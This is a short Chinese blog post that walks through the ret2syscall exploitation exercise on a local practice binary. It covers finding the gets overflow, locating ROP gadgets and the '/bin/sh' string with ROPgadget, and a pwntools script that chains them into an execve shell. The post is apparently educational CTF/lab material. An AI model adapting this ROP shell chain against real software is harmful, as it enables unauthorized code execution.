ret2syscall

 

ret2Syscall实践

1.checksec检查下实验案例的保护机制

2.查看程序实现细节,寻找溢出点

发现有gets函数输入,可以利用。

3.计算溢出返回地址的偏移

4.用程序中已有的指令片段去修改eax=0xb(11),ebx=0,ecx=0,edx=0

用命令ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"寻找pop 和 ret指令连在一起的片段,且该片段中有对eax的操作。

同理去搜索带有ebx,ecx,edx的片段

还要去搜索程序中是否有字符串"/bin/sh",用ROPgadget --binary ./ret2syscall --string "/bin/sh"

最后寻找程序中”int 0x80“的位置,用ROPgadget --binary ./ret2syscall --only "int" | grep "0x80"

5.编写exp

from pwn import *

p=process("./ret2syscall")
p.recv()
offset=112      
eax_addr = p32(0x080bb196)
ebx_ecx_edx_addr = p32(0x0806eb90)
string_bin_sh_addr = p32(0x080be408)
int_addr = p32(0x08049421)
payload=offset*'a'+eax_addr+p32(0xb)+ebx_ecx_edx_addr+p32(0)+p32(0)+string_bin_sh_addr+int_addr
p.sendline(payload)
p.interactive()

运行结果:

 这种方法的局限性:

依赖于程序中必须存在某些指令片段。

posted @ 2020-03-20 18:05  An2i  阅读(307)  评论(0)    收藏  举报